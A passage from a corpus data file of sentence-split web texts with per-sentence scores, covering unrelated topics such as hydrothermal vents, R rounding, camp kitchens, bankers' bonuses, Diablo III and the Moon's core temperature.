"Then small multi-cellular creatures such as copepods and amphipods feed directly on the mats.",
"\n\nBigger creatures such as snails, crabs, clams, limpets, shrimp and fish then eat these smaller creatures. ",
"Since the early discoveries, hundreds of completely new species of snails and other creatures have been discovered at hydrothermal vents.",
"\n\nThere are even giant tubeworms, two metres long and as thick as your arm, without a mouth or an anus!",
"\n\nSo, the ocean ridge might seem an unlikely place, but as these bizarre lifeforms suggest, life on Earth could in fact have started around hydrothermal vents on the sea floor.",
"\n\nThe hydrothermal vents are certainly able to provide the energy needed to sustain life. ",
"And their very structure shares a surprising similarity with the cells that form the basis of life.",
"\n\nAll living cells use the energy from food to pump hydrogen ions to a 'holding tank' behind a membrane. ",
"There's a difference in the levels of hydrogen ions — high on one side of the membrane, low on the other side. ",
"When the hydrogen ions flow across the membrane, they create high-energy chemicals that in turn power everything we do.",
"\n\nIn the hydrothermal vents, hot alkaline water flows upwards, and mixes with the more acidic ocean water. ",
"This creates a difference in the levels of hydrogen ions remarkably similar to the difference that powers our own cells.",
"\n\nIf this new theory proves right, the elusive origin of life might indeed be as simple as hot water squirting through rock!"
] | {
"pile_set_name": "Pile-CC"
} | [
0.0007376788416877389,
0.0012973808916285634,
0.0007247293833643198,
0.0005911590997129679,
0.0006144602666608989,
0.0005822109524160624,
0.0007526148692704737,
0.0006104814819991589,
0.0009999250760301948,
0.0006720920791849494,
0.0005741589702665806,
0.0008302558562718332,
0.0020291602704674006,
0.0013201544061303139,
0.0007145290146581829,
0.0008632310782559216,
0.0005963463918305933,
0.0005922723212279379,
0.0013370310189202428,
0.0011022870894521475,
0.000584991357754916,
0.000891153933480382,
0.0005468784365803003,
0.000934713170863688,
0.005049757659435272,
0.0005728454561904073,
0.000569092866498977,
0.0009396614041179419,
0.0006111460388638079,
0.0007022470817901194,
0.0009218173800036311,
0.00090171949705109,
0.0007484739762730896,
0.001245454652234912,
0.0005807051784358919,
0.8353424072265625,
0.0005572012159973383,
0.0005527251632884145,
0.0006498740985989571,
0.0006339589599519968,
0.0006381493876688182,
0.0005695299478247762,
0.0005898178787901998,
0.0006767561426386237,
0.0011103912256658077
] | 0.019437 | 45 |
[
"Q:\n\nRound with increments larger 1\n\nHow to round by increment larger than 1? ",
"Acctualy, I need the next \"ceiling\" in steps of 5. ",
"Example: \nceiling(c(2.5, 6, 9.9, 10, 11, 14, 15), inc = 5) #not working\n> 5 10 10 15 15 15 20\n\nI tried ceiling(), round() and signif() but I could not figure it out. ",
"It's probably a repetition but my research always leads me to increments smaler than 1. ",
"\nThanks in advance!",
"\n\nA:\n\nThis should work for you\na=c(2.5, 6, 9.9, 10, 11, 14, 15)\nfiver=function(x)\n{\n multiplier=floor(x/5)+1\n return(5*(multiplier))\n}\n\nfiver(a)\n\n[1] 5 10 10 15 15 15 20\n\n"
] | {
"pile_set_name": "StackExchange"
} | [
0.0010066196555271745,
0.0008057376835495234,
0.0006877924897707999,
0.0007838596357032657,
0.0006449352949857712,
0.0009951157262548804
] | 0.000821 | 6 |
[
"For several decades, David Bethea has written authoritatively on the 'mythopoetic thinking' that lies at the heart of classical Russian literature, especially Russian poetry. ",
"His theoretically informed-essays and books have made a point of turning back to issues of intentionality and biography at a time when authorial agency seems under threat of 'erasure' and the question of how writers, and poets in particular, live their lives through their art is increasingly moot. ",
"The lichnost (personhood, psychic totality) of the given writer is all-important, argues Bethea, as it is that which combines the specifically biographical and the capaciously mythical in verbal units that speak simultaneously to different planes of being. ",
"Pushkin’s Evgeny can be one incarnation of the poet himself and an Everyman rising up to challenge Peter’s new world order; Brodsky can be, all at once, Dante and Mandelstam and himself, the exile paying an Orphic visit to Florence (and, by ghostly association, Leningrad). ",
"This sort of metempsychosis, where the stories that constitute the Ur-texts of Russian literature are constantly reworked in the biographical myths shaping individual writers’ lives, is Bethea’s primary focus. ",
"This collection contains a liberal sampling of Bethea’s most memorable previously published essays along with new studies prepared for this occasion.",
"\n\nDavid Bethea (PhD University of Kansas) is Vilas Professor of Slavic Languages, University of Wisconsin–Madison. ",
"His research interests include Pushkin and his era; modern Russian poetry (especially Khodasevich and Brodsky); Russian religious thought and cultural mythology; Russian émigré literature; Anglo-American vs. Russian modernism; twentieth century Russian/Slavic literary theory (especially influence studies); and biography. ",
"Among his books are Joseph Brodsky and the Creation of Exile (Princeton UP, 1994), and Realizing Metaphors: Alexander Pushkin and the Life of the Poet (University of Wisconsin Press, 1998).",
"\n\nFew American Slavists have been as prolific as David Bethea; hence this ample collection represents only a small sampling of his work. ",
"Nonetheless, it gives a good sense of his scholarly preoccupations over the past three decades. ",
"The book is wide-ranging in both its theoretical concerns and its choice of primary texts. . . . ",
"Bethea’s approach opens up obscure passages in unprecedented ways, often with admirable clarity. ",
""
] | {
"pile_set_name": "Pile-CC"
} | [
0.0006268339930102229,
0.0006517056608572602,
0.0008964036824181676,
0.0007297098636627197,
0.0009160705958493054,
0.0006620585336349905,
0.0007447191746905446,
0.0006505554774776101,
0.0006062660831958055,
0.0030170727986842394,
0.0005647875368595123,
0.0006083216867409647,
0.0005713192513212562,
0.001995444530621171
] | 0.000946 | 14 |
[
"Q:\n\nWhat are important components of a camp kitchen?",
"\n\nRemote, private land with no 'improvements'. ",
"Dirt road access up to a small field with a campfire, stream down a hill nearby, surrounded by vast woodland.",
"\nA group of ~20 people gathering on site from different directions will have 3 to 5 meals together. ",
"Individuals or smaller groups will bring their own food. ",
"A single person or group is responsible for the kitchen supplies, in terms of cooking and cleanup equipment. ",
"This includes hand washing needs.",
"\nWhat are the necessary kitchen supplies to accommodate a group (essentially car camping) in the woods? ",
"If this answer can be general enough to apply to group camping in a variety of settings that would be nice. ",
"I'm not looking for a specific camp-kitchen item to buy online, I'm looking for general items needed like \"2 bins for stream water, 1 water container with spout for hand washing, biodegradable soap...\" Emphasis on hygiene and safety.",
"\n\nA:\n\nA good car camping kitchen, in my mind, mimics a home kitchen.",
"\n\nPropane stove(s) with a total of 2-4 burners (maybe 6 if it is a big group)\nPropane oven or grill (either propane or charcoal) depending on your menu\nMultiple lighters\nPots, pans, and utensils suitable for the menu(s) and group size\n\nI like a large pot (for pasta), medium pot (vegetables), small pot (sauces), large fry pan, small fry pan, colander, and pot holders\nDepending on the menu and group size you might need larger pots and more fry pans. ",
"Make sure you check how they fit on the stove burners. ",
"\n\nKnives and cutting boards\nCoffee pot\nFood cooler(s) (possibly propane, solar, or electric)\nDrink cooler(s) (possibly propane, solar, or electric)\nFood storage container (durable and animal/rodent proof)\nClean water tank(s) with an adjustable spigot minimum of 5 gallons, but at least 1 gallon of capacity per person\n\nI suggest bringing water from home and not trying to filter/purify stream water\n\nSoapy water basin(s) (2 gallon size)\nRinse water basin(s) (2 gallon size)\nDish towels\nPropane lantern(s): one for each working area (e.g., stove, grill, dishes, etc)\nEmergency 5-gallon water bucket \nShelter (if rain and/or bugs are a potential problem)\n\nAll propane appliances should run off of 5 gallon central propane tank(s). ",
"This requires adapters, hoses, and T fittings. ",
"You will also want table(s) to set up on. ",
"Make sure the table fits in your car and get enough that there is space for everything.",
"\nYour plans seem a little problematic in that a group of 20 people bringing food individually or in small groups means you need a kitchen for each cooking group. ",
"That is a lot of kitchens. ",
"Ideally, you would plan a menu and have everyone contribute. ",
"Cooking for 20 is difficult, but not impossible. ",
"Two groups of 10 would be ideal in my mind.",
"\nIf you really need lots of little groups, you probably want a simpler kitchen and limit what people can bring. ",
"Easiest would be for everyone to eat only dehydrated bagged meals. ",
"With only 3-5 meals (presumably only 2 dinners) you can just grill the whole time.",
"\n\n"
] | {
"pile_set_name": "StackExchange"
} | [
0.000671469490043819,
0.0011380922514945269,
0.0008536050445400178,
0.0005734980222769082,
0.0006715324707329273,
0.0006017154664732516,
0.0012511755339801311,
0.0005857624346390367,
0.0005341274081729352,
0.001195521210320294,
0.0007036565220914781,
0.0006230465369299054,
0.0013731577200815082,
0.0006453951355069876,
0.0012892724480479956,
0.0005656149005517364,
0.002409710781648755,
0.0005723883514292538,
0.0006706518470309675,
0.0005363625241443515,
0.0006515290006063879,
0.0005601109587587416,
0.0007527654524892569,
0.001485838321968913,
0.0006182972574606538,
0.001995444530621171
] | 0.000905 | 26 |
[
"Holiday program gives rides home from bars\n\nGOSHEN — For the fourth year in a row, Dana Distributors will be paying for rides for people who've had a few too many at bars throughout Orange, Sullivan and Rockland counties.",
"\n\nBY NATHAN BROWN\n\nGOSHEN — For the fourth year in a row, Dana Distributors will be paying for rides for people who've had a few too many at bars throughout Orange, Sullivan and Rockland counties.",
"\n\nThe program, which Dana offers in conjunction with local taxi companies, has been growing every year — last year, they gave 168 rides, up from 117 in 2010, said Tom Kennedy, general sales manager for the Goshen-based Anheuser-Busch distributors.",
"\n\nKennedy was flanked by more than a dozen police and county officials and politicians, several of whom spoke to hammer home the message that you should designate a driver or get a cab if you've been drinking.",
"\n\n\"We don't want to read about you being in a hospital or morgue come Jan. 1,\" said state Sen. John Bonacic, R-C-Mount Hope. \"",
"We want you to live a long, happy and healthy life.\"",
"\n\nDrunk driving is still the most common crime in many towns — 17 percent of all arrests in Orange, Ulster and Sullivan counties in 2011 were for DWI, according to Division of Criminal Justice Services statistics — but it has generally been declining over the past few decades, because of stricter enforcement and changing attitudes. ",
"Village of Monroe police Chief Dom Giudice said that his officers often make traffic stops and find designated drivers.",
"\n\n\"I know, in our end of the county, the program is working,\" he said.",
"\n\nDrunken-driving deaths nationwide fell by 52 percent from 1982 to 2010; Deputy Orange County Executive James O'Donnell noted that 2011 was the first year with under 10,000.",
"\n\n\"There's a lot more work to be done, but I congratulate Dana Distributors for 26 years of doing an excellent job,\" he said.",
"\n\nKennedy said the rides are part of Anheuser-Busch's larger programs to encourage responsible drinking, in which Dana has been active — those 168 rides in 2011 represent 10 percent of the rides provided by Anheuser-Busch distributors statewide that year.",
"\n\nThe rides are available between 4 p.m. and 2 a.m., and they'll take you home within a 10-mile radius of the bar. ",
"To see if the bar takes part, ask the bartender or look around for one of the Alert Cab posters they've been putting up. ",
"Dana sponsors the same program Thanksgiving Eve, St. Patrick's Day and for the Super Bowl.",
"\n\nnbrown@th-record.com\n\nNever miss a story\n\nChoose the plan that's right for you.",
"\nDigital access or digital and print delivery."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0007493689190596342,
0.0006348583847284317,
0.0006199594936333597,
0.014485638588666916,
0.0125995222479105,
0.0017276452854275703,
0.0013715780805796385,
0.0007064284291118383,
0.0006109323003329337,
0.001175017561763525,
0.0005379669019021094,
0.0007727885385975242,
0.0007266924949362874,
0.0011841338127851486,
0.0006255061598494649,
0.0012122084153816104,
0.0006213309243321419
] | 0.002374 | 17 |
[
"Image caption The scale of bankers' bonuses remains a controversial issue with the public\n\nThe government is resigned to UK banks paying out billions of pounds in bonuses this year, despite its calls to curb the payments, the BBC has learnt.",
"\n\nThe best the coalition can hope for is a declaration from the banks that they will pay out less than they would have without government intervention, said BBC business editor Robert Peston.",
"\n\nThe government is also looking for banks to lend more to small businesses.",
"\n\nBusiness Secretary Vince Cable has been vocal in his opposition to big bonuses.",
"\n\nHe told the BBC last month that the coalition government was \"fully signed up\" to \"robust action\" in curbing bonuses.",
"\n\nBonus rules\n\nRoyal Bank of Scotland may pay nearer £1bn in bonuses than last year's £1.3bn, while Barclays may pay less that the £5bn-£6bn in total remuneration that its results from the first nine months of last year suggest are due to its investment bankers, our correspondent said.",
"\n\nAt a time when the incomes of most British people are being squeezed by low nominal pay rises and inflation, some will doubtless argue that bankers' bonuses remain unacceptable Peston: Why the government can't stop big bonuses\n\nBut even if bonuses are cut, salaries have risen significantly to compensate, by up to 40% in some cases, he added.",
"\n\nOne Labour MP and member of the Treasury Committee criticised what he described as the government's lack of action over bonuses.",
"\n\n\"In 2009 the chancellor [George Osborne] said government should act in light of unacceptable bank bonuses stating that we could not wait for the 'promised land of a responsible bonus culture',\" said Chuka Umunna.",
"\n\n\"But, now in power, he chooses to sit on his hands.\"",
"\n\nHe called on the government to introduce a remuneration disclosure scheme, requiring banks to reveal how much their senior employees earn.",
"\n\nDeferred rewards\n\nBanks have already begun re-balancing pay packages following new Europe-wide rules on bonuses agreed last summer and confirmed last month.",
"\n\nThese include introducing independent remuneration committees and setting maximum levels of bonus payments as a percentage of basic salary.",
"\n\nThey also include deferring between 40% and 60% of bonuses for between three and five years, paying half of them in shares rather than cash and excluding any rewards for failure.",
"\n\nThese particular rules are designed to curb the kind of short-term risk-taking by bankers that some observers argue contributed to the financial crisis.",
"\n\nIn the UK, some of these rules will only apply to the big banks - smaller firms, including some banks as well as hedge funds and asset managers, will be exempt.",
"\n\nUK banks have long resisted the further reductions in bonus payments that the government has called for.",
"\n\nMedia playback is unsupported on your device Media caption Dr Peter Hahn, from Cass Business School, said financial sector job creation could suffer if government legislation limited bonus payments\n\n'Politically uncomfortable'\n\nThe UK government has pumped billions of pounds into the banking sector, and has bailed out both Royal Bank of Scotland and Lloyds Banking Group.",
"\n\nAs a result, many have argued that it should have a greater say in how much banks pay out in bonuses.",
"\n\nHowever, the banks argue that they cannot dramatically reduce bonuses without the risk of losing top staff to banks based overseas, which are under less pressure to cut the payments.",
"\n\n\"As UK taxpayers, we have a stake in RBS and we want it to succeed,\" said London-based headhunter John Purcell.",
"\n\n\"It might be politically uncomfortable and possibly socially disturbing, but it's realistic economics and I think we've just got to suck it up. ",
"That's the way it is.\"",
"\n\nHe added that there were \"bucketloads\" of firms where bankers could choose to work if they were not offered an attractive enough deal.",
"\n\nEfforts of Stephen Hester to save RBS \"should be applauded, not lambasted by politicians looking for a cheap shot,\" Mr Purcell said.",
"\n\nIncreased lending\n\nAs a concession to bonuses, the government wants the banks to commit to lending more to small businesses, which is seen as key to boosting the economic recovery.",
"\n\nThe banks have been criticised for not lending more to help businesses throughout the downturn.",
"\n\nFor their part, the banks argue that the demand for lending has dropped off, as businesses look to consolidate rather than invest.",
"\n\nThey also say they are under pressure from the government to hold more cash in reserve to protect themselves better against any future financial crises.",
"\n\nOur business editor said he would be \"staggered\" if the banks did not come up with promises of new finance for smaller firms.",
"\n\n\"If they failed to do so, the political pressure on ministers to punish them - perhaps through the implementation of a new tax - might become impossible to resist,\" he said.",
"\n\nYour comments\n\nNo bonuses should be paid until the banks have paid back the money put in by the government. ",
"Losing these so called 'top staff' is a red herring, as they put us in the mess in the first place. ",
"I doubt other countries will be falling over themselves to recruit them. ",
"Keith Lewis, Fareham, Hampshire\n\nI work in banking and I am expecting a bonus and rightly so - my bank came out the best from the crisis and we are the leaders in the market, after everyone here has been slugging their guts. ",
"Jon, London\n\nThe government is being spineless in allowing the banks to allocate billions of pounds to bonuses. ",
"Especially at a time when the government have increased VAT to 20%. ",
"Is this another example that we are 'all in this together'? ",
"Paul Ride, London\n\nBankers operate in a certain market, and as very hard working professionals surely the market should determine their remuneration. ",
"It's ridiculous that benefit dependant individuals ridicule bankers and their salaries, often ignoring the 15 hour days they work and the £20,000 debt they have incurred through university, plus, the immense stress their job inflicts on them. ",
"Essentially, this is a market in which the brightest professionals operate, they work hard, long hours and most importantly their work pumps billions of pounds into the economy. ",
"Rajan Thaper, Rugby\n\nUntil recently I had my own company which failed largely due to the banks pulling the funding that had been promised. ",
"Then I hear large bonus payments are going to the banking industry. ",
"Have these people got no conscience? ",
"The country is on its knees, yet these people are the only ones not feeling the bad times it's disgusting! ",
"Kevin Jones, Runcorn\n\nI do expect a bonus and it must be more than last year, as my employer has made a much bigger profit. ",
"If they want to stop bonuses - even though I don't understand how governments can dictate pay policy to private companies - then all my employer has to do is pay me overtime, at double pay, for all extra hours I do and I'll be quids in. ",
"Banker, London\n\nIt is an utter disgrace that the government has allowed this to happen. ",
"They should introduce a 90% bank tax for banks and executives until they repay all the money back that they owe the public. ",
"I'm a pensioner who has just seen my savings disappear and have been left with very little. ",
"Peter Brown, Stockport\n\nI'm in the public sector. ",
"In government departments there have been no pay rises this year and on an a salary of nearly £25,000 you would only get a bonus of about £500. ",
"That's a bonus rate of 2%. ",
"In the case of the bankers, they have been paid in some cases over 100% of salary in bonuses, plus company pension contributions. ",
"Paul, Swansea\n\nBritain is the worst place in the world to live as someone earning £1m or more - with a 50% top marginal rate on both employment and savings income. ",
"As bitter as people are, these measures will not produce the results they want. ",
"There comes a time when banker-bashing moves from expediency into simple envy. ",
"The government is the main culprit. ",
"London's financial centre contains a large number of very talented, highly mobile individuals who could work anywhere in the world but who choose to be in Britain and contribute around 20% of the entire tax take. ",
"Stephen, Canary Wharf\n\nJust a thought, if the bankers that we are so worried about leaving our great country are so good at there jobs, how come we have ended up in the mess we are in? ",
"I am sure that there are lots of qualified people, who would love the promotion to replace the ones that leave and at a reduced salary and bonus package. ",
"Don Rees, Poole, Dorset\n\nI think we need some perspective, only a very small number earn the vast sums that get thrown around in the media and whilst the masses may earn good bonuses - most will pay 40 to 50% in tax. ",
"Their take home pay will be spent, in general, on goods in the UK economy. ",
"Why do we constantly look for scapegoats when things go wrong? ",
"Everyone had a part to play in recent years, irresponsible lenders and borrowers a like. ",
"City worker, London"
] | {
"pile_set_name": "OpenWebText2"
} | [
0.0006764080026187003,
0.0006675529875792563,
0.0005981717258691788,
0.0007156991632655263,
0.0005554497474804521,
0.0005844084080308676,
0.0006980590405873954,
0.0006967779481783509,
0.0005818650824949145,
0.0011424882104620337,
0.0008228311780840158,
0.0006063542095944285,
0.0005954592488706112,
0.0008615920669399202,
0.0005992776132188737,
0.0005800258950330317,
0.0005684461211785674,
0.0006085957284085453,
0.0006418285192921758,
0.0007554700714536011,
0.0005878922529518604,
0.525462806224823,
0.0007595627103000879,
0.0005712683196179569,
0.0013149605365470052,
0.0005382256349548697,
0.0006758486269973218,
0.0006220751674845815,
0.0006100920727476478,
0.0005502380663529038,
0.0008042947156354785,
0.0011307235108688474,
0.002631860552355647,
0.0006419026176445186,
0.1458880603313446,
0.003796222386881709,
0.0012891637161374092,
0.0006598441395908594,
0.0005594549002125859,
0.045550987124443054,
0.0006683385581709445,
0.0007429112447425723,
0.0005757377366535366,
0.0008924616267904639,
0.5161013007164001,
0.0007091443985700607,
0.0017728768289089203,
0.026647944003343582,
0.001308917417190969,
0.0019169882871210575,
0.0006636445177718997,
0.0006809685728512704,
0.0007243313593789935,
0.0005681439070031047,
0.02991829439997673,
0.011527546681463718,
0.0014326375676319003,
0.039552733302116394,
0.000574725097976625,
0.0006761971744708717,
0.0005382031085900962,
0.0005636877031065524,
0.0006568377721123397,
0.001025709672830999,
0.005392676685005426,
0.0007000883924774826
] | 0.021132 | 66 |
[
"Blizzard has detailed what comes with the collector's edition of Diablo III: Reaper of Souls. ",
"On top of the game you'll get a behind the scenes DVD and Blu-Ray two-disc set, soundtrack, artbook, and mouse pad. ",
"As for digital content, you'll get a spectral hound minion, aesthetic artifacts, World of Warcraft treasure goblin pet, and some portraits related to StarCraft II.",
"\n\nThe Diablo III: Reaper of Souls collector's edition will run you $79.99 at select retailers. ",
"There's also a Deluxe version for $59.99 that contains a bunch of extra digital content too.",
"\n\ntimeline following:⇓ Diablo III: Reaper of Souls\n\nDiablo III: Reaper of Souls has a new update, titled patch 2.1.0 -- and it comes with a lot of changes. \"",
"Seasonal\" characters allow you to restart the game with a new build, which can earn you special items, leaderboard plac...more\n\nDiablo III has been performing rather well for Activision Blizzard. ",
"Since it released in 2010, Diablo III has sold over 20 million copies worldwide on all platforms. ",
"That's combined with Reaper of Souls too. ",
"Activision a...more\n\nDiablo III: Ultimate Evil Edition will be getting a Last of Us tie-in, but that's not the only Sony property that made it in. ",
"According to Game Informer, a Shadow of the Colossus transmogrify outfit will launch with the game ...more\n\nFor Diablo III's second anniversary, Blizzard introduced a temporary one-hundred percent boost to PC and Mac players' Legendary item drop rate. ",
"Which was great -- the buff, not the fact that it was for a limited time. ",
"From th...more\n\nIn its first week of availability, the first Diablo III expansion, Reaper of Souls, has reaped 2.7 million sales.",
"\nUhm. ",
"I mostly just wanted to write \"Reaper of sales.\" ",
"I don't have anything else to say. ",
"Good job to Blizzard for responding to fan feedback with a $40 expansion that everyone went out and paid for, apparently.",
"\nPath of Exile is free if you like click click click click games.more\n\nAfter the classic that was Diablo II, expectations for a follow-up were at an all-time high. ",
"Although it could never really meet those expectations, Diablo III was a fine hack and slash, and I ended up replaying it time ...more\n\nAfter all this waiting, Diablo III: Reaper of Souls is dropping next week. ",
"But before you drop your cash on it, you can watch the video above to see what exactly has changed. ",
"For those of you who haven't been keeping ta...more\n\nThose of you playing Diablo III via either the Battle.net desktop client or the game's launcher may, from this week, notice a 6GB background download initiate.",
"\nThat's quite big, and for good reason, because that download...more\n\nIn a future where corporate greed has depleted the Earth's resources, humanity has taken to space to acquire the goods needed for survival. ",
"The asteroid belt was supposed to be the great salvation, an almost limitless bastion...more\n\nMy Steam clock tells me that Homeworld Remastered Collection unlocks in less than nine hours, but that just means there's just enough time left to put up this here launch trailer, which is brimming with all the bombast ...more\n\nIridium Studios started out as a tiny developer with a humble Kickstarter for its rhythm role-playing game Sequence. ",
"It saw enough success that lead designer Jason Wishnov was able to fill out his team and spend more time tak...more"
] | {
"pile_set_name": "Pile-CC"
} | [
0.0006913563120178878,
0.0007504344685003161,
0.0006505563505925238,
0.0008656373829580843,
0.0005925114382989705,
0.000619609490968287,
0.0006853110389783978,
0.000645265681669116,
0.0012383313151076436,
0.0007783080800436437,
0.0008690079557709396,
0.0010205586440861225,
0.0006331505137495697,
0.001022381940856576,
0.0007482204237021506,
0.0008422714308835566,
0.0006077369907870889,
0.0007985586998984218,
0.0008198575233109295,
0.0013193876948207617,
0.000689367763698101,
0.0008034892962314188,
0.0008846450946293771,
0.0007871114066801965
] | 0.000807 | 24 |
[
"Product Descriptions:\n\nEngineered by Edelbrock, the PerformerX Turbo kit #1500 is complete, street legal and easy to install. ",
"The included piggyback control unit means no additional tuning required when used on otherwise stock engines.",
"\n\nThe Garrett T28 comes pre-assembled as one unit with a Ni-resist cast exhaust manifold and elbow, inlet oil and water lines for the simplest possible installation. ",
"The Garrett ball bearing turbo spools up fast and blows big air, but we’ve wastegated it down to 6-7 psi to work with pump gas and still make over 60% more power than stock.",
"\n\nThe Edelbrock exhaust manifold and elbow are designed for maximum flow at high velocity for quicker turbo spool-up."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0006308315205387771,
0.001053734333254397,
0.000647396722342819,
0.005393385421484709,
0.0007853654096834362
] | 0.001702 | 5 |
[
"Latest News\n\nSenate Passes bill to Establish “Nigerian Peace Corps”\n\nThe Senate on Thursday passed the Nigerian Peace Corps Bill which seeks to empower, develop and provide gainful employment for youths.",
"\n\nThe Bill, which was sponsored by Senate Leader, Mohammed Ali Ndume (APC-Borno), was first read at plenary on March 10, 2016 and scaled second reading.",
"\n\nIt seeks to facilitate peace volunteerism, community service, neighbourhood watch and nation building.",
"\n\nThe bill will also facilitate the training of youths to advance the course of peace building and conflict transformation through peace education, mediation and conflict resolution among warring groups or communities where there are crisis in Nigeria.",
"\n\nThe passage of the Bill followed a report presented by the Chairman, Senate Committee on Interior, Sen. Bayero Nafada (APC-Gombe North) after clause by clause consideration.",
"\n\nAccording to the report, the head of the corps will be referred to as Commandant General with six Deputy Commandants from the six geopolitical zones of the country.",
"\n\nThe headquarters of the corps would be domiciled in the Federal Capital Territory (FCT), Abuja.",
"\n\nThe functions of the corps include promoting social and economic development and empowering and preoccupying the Nigerian youths through job creation and provision of alternative employment.",
"\n\nIn his contributions, Sen. Samuel Anyanwu (PDP-Imo) said that the Bill would create job opportunities and help in augmenting the efforts of security agencies.",
"\n\nSimilarly, Sen. Sabi Abdullahi (APC-Niger) said that in tackling security issues, there was the need to use multiple approach, hence the need for the bill.",
"\n\n“We need to allow more participation in the security space,’’ he said.",
"\n\nIn his remark, the President of the Senate, Bukola Saraki, said that the passage of the Bill would go a long way to institutionalise the Peace Corps that had been functioning for a long time without the backing of the law.",
"\n\nHe expressed the hope that with the passage of the Bill, it would contribute to the achievement of peace and stability in the country.",
"\n\nBriefing journalists after plenary, the Commander General of the Corps, Dr. Chinedu Nneji, said that the passage of the Bill was the beginning of a new era that would help in ensuring total peace in the country.",
"\n\n“We will permeate and move into our various communities to ensure that we bring total peace to Nigeria. ",
"We will also make sure that the issue of Boko haram, which the Nigerian military had reduced to the barest minimum, becomes a thing of the past,” he said.",
"\n\nThe Peace Corps of Nigeria (PCN) is a non-governmental organisation that aimed at resolving conflicts, peace building and engaging youths to divert their attention from violence"
] | {
"pile_set_name": "Pile-CC"
} | [
0.0005665275966748595,
0.000598371319938451,
0.0005978887202218175,
0.0005596330156549811,
0.0005746782408095896,
0.0005146376206539571,
0.0006699832156300545,
0.0006002033478580415,
0.0006198614137247205,
0.0005884646088816226,
0.0006022306624799967,
0.0005687818629667163,
0.0004916114849038422,
0.0005588524509221315,
0.001075843581929803,
0.000878031540196389,
0.0006335479556582868
] | 0.000629 | 17 |
[
"Grazie a un esperimento condotto sulla Terra è stato possibile raffinare di molto la stima della temperatura della Luna, al confine tra nucleo e mantello, che è risultata essere tra 1.300 e 1.470 gradi Celsius. ",
"Questo nuovo valore, insieme alla già conosciuta temperatura superficiale, permetterà di creare un profilo di temperatura interna della Luna e di studiare la sua struttura e composizione\n\nAttualmente si conosce ancora poco della struttura interna della Luna. ",
"Tuttavia, recentemente è stato fatto un importante passo avanti in questa direzione da Ananya Mallik, una scienziata dell’Università del Rhode Island che ha condotto esperimenti per determinare la temperatura al confine tra nucleo e mantello del nostro satellite. ",
"Dai suoi esperimenti, Mallik è riuscita a dedurre una temperatura tra 1.300 e 1.470 gradi Celsius, un valore che si colloca all’estremo superiore di una precedente stima affetta da un’incertezza di circa 800 gradi.",
"\n\n«Per comprendere la struttura interna della Luna, abbiamo bisogno di definire nel migliore dei modi il suo stato termico», afferma Mallik. «",
"Ora conosciamo la temperatura in due zone: al confine tra il nucleo e il mantello, e alla superficie, come misurata dalle missioni Apollo. ",
"Sapere la temperatura di queste due zone ci aiuterà a creare un profilo di temperatura interna della Luna, di cui abbiamo necessariamente bisogno per determinarne lo stato interno, la sua struttura e la sua composizione».",
"\n\nSecondo Mallik, la Luna ha un nucleo di ferro, come quello della Terra. ",
"Precedenti ricerche basate su dati sismici, hanno scoperto che tra il 5 e il 30 per cento del materiale al confine tra nucleo e mantello si trova in uno stato liquido o fuso. ",
"Ma perché dovremmo avere del materiale fuso a quella profondità?",
"\n\nPer rispondere a questa domanda, la scienziata nel 2016 ha condotto una serie di esperimenti presso il Bavarian Research Institute of Experimental Geochemistry and Geophysics in Germania, utilizzando un dispositivo in grado di esercitare le alte pressioni che si trovano nelle profondità della Luna. ",
"Ha preparato un minuscolo campione di materiale simile a quello trovato sulla Luna, lo ha compresso a una pressione 45mila volte superiore alla pressione atmosferica della Terra – che è la pressione che si ritiene esista nel limite interno del mantello della Luna – e ha usato un riscaldatore di grafite per innalzare la temperatura del campione fino a quando non si è parzialmente sciolto.",
"\n\n«L’obiettivo era quello di determinare quale intervallo di temperatura avrebbe prodotto tra il 5 e il 30 per cento di materiale fuso, dal quale avremmo potuto estrapolare l’intervallo di temperature al limite del mantello principale», riferisce Mallik.",
"\n\nOra che, grazie a questo esperimento, l’intervallo di temperatura sul confine nucleo-mantello è stato ridotto notevolmente, gli scienziati possono iniziare a sviluppare un profilo di temperature della Luna più preciso ed andare avanti determinando anche un profilo dei minerali che compongono il mantello, dalla crosta al nucleo.",
"\n\n«È importante conoscere la composizione della Luna per capire meglio perché si è evoluta in un certo modo», ha detto Mallik. «",
"La storia della Terra e quella della Luna risultano essere intrecciate sin dall’inizio. ",
"Entrambe sono il prodotto di una grande collisione tra quella che era la proto-Terra e un corpo di dimensioni approssimativamente pari a quelle di Marte, verificatosi oltre 4.5 miliardi di anni fa. ",
"Quindi, per capire meglio la nostra Terra, può essere utile conoscere la nostra vicina Luna, proprio perché hanno avuto un inizio comune».",
"\n\n«La Terra è complicata» ha continuato la scienziata. «",
"Qualsiasi somiglianza nella composizione tra la Terra e la Luna può darci un’idea di come si sono formati questi due corpi planetari, dell’energia della collisione e di come gli elementi siano stati suddivisi tra le due parti».",
"\n\nLa scienziata ha inoltre osservato che la Terra si è evoluta attraverso il processo della tettonica a placche, responsabile della deriva dei continenti, della topografia della superficie terrestre, della regolazione del clima a lungo termine e forse anche dell’origine della vita. ",
"Ma non sussistono evidenze di placche tettoniche sulla Luna.",
"\n\n«Tutto sulla Terra accade a causa della tettonica delle placche», ha detto. «",
"Sulla Luna non c’è traccia di questo processo. ",
"Questa evidenza cosa ci dice della nostra Terra? ",
"È lo stesso motivo per cui studiamo Marte e Venere: sono i nostri vicini più prossimi e abbiamo avuto un inizio comune, ma perché sono così diversi dal nostro pianeta?»",
"\n\nI prossimi passi nella ricerca della Mallik riguarderanno la determinazione sperimentale della densità del materiale fuso al confine del mantello, che raffinerà ulteriormente l’intervallo di temperatura. ",
"In collaborazione con Heidi Fuqua Haviland, che lavora presso il Marshall Space Flight Center della Nasa, e Paul Bremner, che lavora presso l’Università della Florida, la scienziata combinerà questi risultati con quelli ottenuti da metodi computazionali per ricavare il profilo della temperatura e la composizione dell’interno della Luna.",
"\n\nPer saperne di più:"
] | {
"pile_set_name": "OpenWebText2"
} | [
0.028077447786927223,
0.006721441633999348,
0.005595183465629816,
0.017178576439619064,
0.0035478868521749973,
0.014712706208229065,
0.011596191674470901,
0.01898813806474209,
0.2005750983953476,
0.05142213776707649,
0.0023971060290932655,
0.15608230233192444,
0.029043514281511307,
0.0767645612359047,
0.012403512373566628,
0.02240133285522461,
0.05733707174658775,
0.027535688132047653,
0.0012060784501954913,
0.008932393044233322,
0.004000038839876652,
0.13754598796367645,
0.015401525422930717,
0.022195516154170036,
0.001447608694434166,
0.029634185135364532,
0.005571864079684019,
0.004132281988859177,
0.0017296940786764026
] | 0.033592 | 29 |
[
